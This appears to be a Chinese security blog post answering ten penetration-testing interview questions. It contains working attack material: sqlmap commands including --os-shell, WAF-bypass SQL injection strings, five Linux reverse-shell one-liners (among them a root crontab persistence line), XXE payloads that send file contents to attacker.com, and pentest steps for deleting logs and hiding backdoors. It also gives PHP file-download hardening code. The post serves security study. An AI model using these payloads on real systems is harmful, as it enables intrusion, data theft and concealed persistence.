安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
1、常见的SQL注入类型有哪些?并写出sqlmap检测SQL注入的命令?SQLMAPAPI怎么使用 2、Mongodb、redis、websphere、rsync服务简介和默认运行端口 3、写出你知道的逻辑漏洞 4、列举Linux的反弹shell的一些方法 5、针对SQL注入,写出你所知道的Bypass WAF的可能的方式 6、写出任意一种漏洞检测代码,用python实现 7、简述XXE的基本原理,以及如何去检测或者判断Blind XXE的存在 8、简述针对一个网站的渗透测试思路 9、针对Web扫描器的爬虫,你怎么看 10、简述PHP中造成任意文件下载漏洞的常见函数,以及造成漏洞的原因
🔍 1. SQL注入类型与检测工具
常见SQL注入类型:
- 联合查询注入(
UNION SELECT
)- 报错注入(如
extractvalue(1,concat(0x7e,version()))
)- 布尔盲注(通过True/False页面差异推断)
- 时间盲注(
SLEEP(5)
判断延迟)- 堆叠查询注入(
;
执行多语句,需特定驱动支持)sqlmap命令:
bash
sqlmap -u "https://example.com/?id=1" \ --batch \ # 自动选择默认选项 --level 5 \ # 检测深度(含HTTP头注入) --risk 3 \ # 风险级别(允许危险操作) --dbs \ # 获取所有数据库 --os-shell # 尝试获取系统Shell
SQLMap API使用流程:
- 启动API服务:
sqlmapapi -s -H 127.0.0.1 -p 8775
- 创建任务:
bash
curl -X POST http://127.0.0.1:8775/task/new # 返回 {"taskid": "1a2b3c"}
- 提交扫描:
bash
curl -X POST -d '{"url":"https://example.com/?id=1"}' \ http://127.0.0.1:8775/scan/1a2b3c/start
- 获取结果:
bash
curl http://127.0.0.1:8775/scan/1a2b3c/log
📡 2. 关键服务简介与默认端口
服务 用途 默认端口 安全风险 MongoDB NoSQL文档数据库 27017
未授权访问导致数据泄露 Redis 内存键值存储 6379
未授权写SSH密钥提权 WebSphere IBM Java应用服务器 9080
(HTTP)
9043
(HTTPS)反序列化漏洞(如WebSphere AS) Rsync 文件同步协议 873
未授权访问泄露敏感文件 注:Redis默认无密码,MongoDB 3.6+默认绑定127.0.0.1,但仍需验证配置。
⚡ 3. 逻辑漏洞类型(Top 5实战高频)
- 越权访问
- 水平越权:篡改用户ID访问他人数据(如
/user?id=10001
→10002
)- 垂直越权:普通用户访问管理员接口(如伪装
/admin/addUser
请求)- 支付逻辑漏洞
- 前端修改商品价格(
{"price":0.01}
→ 实际支付0.01元)- 重复支付退款(多次请求退款接口)
- 验证码绕过
- 空验证码(
captcha=
)- 验证码复用(未后端校验时效性)
- 密码重置劫持
- 修改Host头为攻击域名(
Host: evil.com
→ 接收重置邮件)- 手机号遍历(爆破
mobile=1380000XXXX
参数)- 条件竞争
- 高并发请求优惠券发放接口(库存未锁)
💻 4. Linux反弹Shell方法
bash
# 1. Bash原生(/dev/tcp) bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 # 2. Netcat传统版 nc -e /bin/sh 10.0.0.1 4444 # 3. Python单行 python3 -c 'import socket,os,pty; s=socket.socket();s.connect(("10.0.0.1",4444)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")' # 4. 无Netcat时用管道 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | sh -i 2>&1 | nc 10.0.0.1 4444 >/tmp/f # 5. Crontab定时任务(绕过防火墙) echo "* * * * * root bash -c 'exec 9<>/dev/tcp/10.0.0.1/4444;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i'" >> /etc/crontab
️ 5. SQL注入Bypass WAF技巧
绕过类型 示例 防御原理破坏点 空白符替换 SELECT/**/1
→SELECT%0a1
WAF正则匹配 \s+SELECT
函数拆解 CONCAT(1,2)
→CONCAT(1)
,
2)
函数名完整性检测 字符编码 UNION
→%55%4E%49%4F%4E
解码层缺失 注释干扰 /*!50000SELECT*/ 1
MySQL版本特性 参数污染 ?id=1&id=2 UNION SELECT 1,2,3--
参数解析优先级差异 实战工具:sqlmap的
--tamper
脚本(如charencode.py
、space2comment.py
)
6. Python漏洞检测代码(SSRF检测)
python
import requests def check_ssrf(url, test_url="http://169.254.169.254"): try: # 测试AWS元数据地址(经典SSRF目标) r = requests.get(f"{url}?image={test_url}", timeout=5) if r.status_code == 200 and "metadata" in r.text: return f"🔥 SSRF漏洞存在!可访问内部资源: {test_url}" # 检测DNS重绑定(需自建DNS服务) elif "rebind.evil.com" in test_url and "敏感数据" in r.text: return "🎯 Blind SSRF via DNS Rebinding!" except requests.exceptions.ConnectionError: return "❌ 连接失败(可能被拦截)" return "✅ 未检测到SSRF漏洞" # 使用示例 print(check_ssrf("http://example.com/upload"))
原理:利用服务器发起对内部网络或元数据服务的请求验证响应特征。
📜 7. XXE原理与Blind XXE检测
基本原理:
xml
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- 读取文件 --> <!ENTITY dtd SYSTEM "http://attacker.com/evil.dtd"> <!-- 外部实体 --> ]> <data>&xxe;</data>
Blind XXE检测方法:
- DNS外带探测(需控制DNS日志)
xml
<!ENTITY % payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % dtd "<!ENTITY % exfil SYSTEM 'http://${payload}.attacker.com/'>"> %dtd; %exfil;
- 错误回显构造(触发报错包含数据)
xml
<!ENTITY % file SYSTEM "file:///secret.txt"> <!ENTITY % err "<!ENTITY content SYSTEM 'file:///nonexistent/%file;'>"> %err;
- 延时检测(观察响应时间差异)
xml
<!ENTITY % slow SYSTEM "http://attacker.com/slow?delay=5000"> %slow;
🕵️ 8. 网站渗透测试思路(7步法)
mermaid
graph LR A[信息收集] --> B[漏洞扫描] B --> C[手动验证] C --> D[漏洞利用] D --> E[权限提升] E --> F[内网渗透] F --> G[报告撰写]
- 信息收集
- 子域名爆破(
amass
)、端口扫描(nmap -sV
)- CMS指纹识别(
Wappalyzer
)、Git源码泄露(gitdumper.sh
)- 漏洞扫描
- 自动扫描器(
AWVS
、Nessus
)结合手动测试(Burp Suite)- 业务逻辑测试
- 支付订单篡改、验证码绕过、接口未授权访问
- 突破边界
- 上传Webshell、SQL注入获取管理员密码
- 横向移动
- 密码复用测试、Kerberoasting攻击(AD环境)
- 数据提取
- 数据库dump、敏感文件(
/etc/shadow
)下载- 痕迹清理
- 删除日志、隐藏后门(如隐藏内核模块)
🤖 9. Web扫描器爬虫的攻防视角
优势与必要性:
- ✅ 效率提升:自动化覆盖常规路径(如API端点、隐藏目录)
- ✅ 漏洞关联:结合被动扫描识别XSS/SQLi(如Burp被动模式)
- ✅ 动态渲染支持:Headless Chrome处理SPA(单页应用)
局限性:
- ❌ 逻辑漏洞盲区:无法识别业务流程(如多步骤订单提交)
- ❌ 反爬绕过弱:静态UA/IP池易被WAF识别(需动态指纹切换)
- ❌ 认证依赖:复杂登录流程(OAuth/2FA)需人工干预
未来演进:
- AI增强:LLM理解业务语义(如识别“支付”按钮上下文)
- 行为模拟:Selenium脚本录制真实用户操作流
- WAF对抗:GAN生成绕过流量(模拟合法HTTP语法)
📂 10. PHP任意文件下载漏洞
危险函数:
php
readfile($_GET['file']); // 直接读取输出 file_get_contents($user_path); // 返回文件内容 fopen($filename, 'r') + fpassthru(); // 流式读取
漏洞成因:
- 路径遍历未过滤(
../../../etc/passwd
)- 硬编码路径拼接:
php
$base = "/var/www/downloads/"; $file = $base . $_GET['filename']; // 用户可控filename
- 后缀黑名单绕过:
.php
→.php%00.jpg
(截断攻击)/proc/self/environ
(Linux伪文件)加固方案:
php
// 方案1:白名单校验 $allowed = ['report.pdf', 'guide.docx']; if (!in_array(basename($_GET['file']), $allowed)) die("非法请求"); // 方案2:路径规范化校验 $real_path = realpath("./downloads/" . $_GET['file']); if (strpos($real_path, '/var/www/downloads/') !== 0) die("路径越界");
附:渗透测试知识框架
攻防本质 = 攻击面发现 + 漏洞利用链构造 + 环境绕过 核心能力 = 工具深度(sqlmap) + 手动验证(逻辑洞) + 代码审计(PHP/Java) 演进方向 = AI辅助决策 + 云原生渗透(K8s) + 硬件层攻击(Intel CET)